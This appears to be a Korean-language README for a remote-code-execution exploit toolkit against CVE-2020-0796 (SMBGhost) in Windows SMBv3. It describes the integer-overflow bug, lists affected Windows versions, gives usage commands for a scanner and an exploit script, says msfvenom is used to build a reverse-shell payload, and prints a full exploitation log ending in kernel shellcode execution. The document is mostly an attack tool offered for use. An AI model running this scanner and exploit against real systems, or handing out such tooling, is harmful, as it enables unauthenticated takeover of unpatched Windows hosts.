
cve-2020-0796 악용 도구 모음
CVE-2020-0796은 SMBv3 프로토콜이 악의적인 압축 데이터 패킷을 처리할 때 오류가 발생하여 발생합니다. 압축 해제 시 클라이언트가 전송한 길이를 사용하여 압축을 풀 때 길이가 적법한지 확인하지 않아 결국 정수 오버플로우가 발생합니다. 이 취약점을 통해 원격의 인증되지 않은 공격자가 대상 시스템에서 임의 코드를 실행할 수 있습니다.
이 취약점은 EternalBlue(MS17-010)와 유사합니다.
영향을 받는 버전: Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)
scanner.py CVE-2020-0796 취약점이 있는 호스트를 스캔하여 발견 형식: python scanner.py ip 예: python scanner.py 192.168.1.2
exploit.py 취약점이 있는 대상 호스트를 공격합니다. 기본 PoC는 블루 스크린을 유발하며, msfvenom과 함께 사용하여 리버스 PoC를 생성해야 합니다. 형식: python exploit.py -ip ip 예: python exploit.py -ip 192.168.1.2
반환: [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly...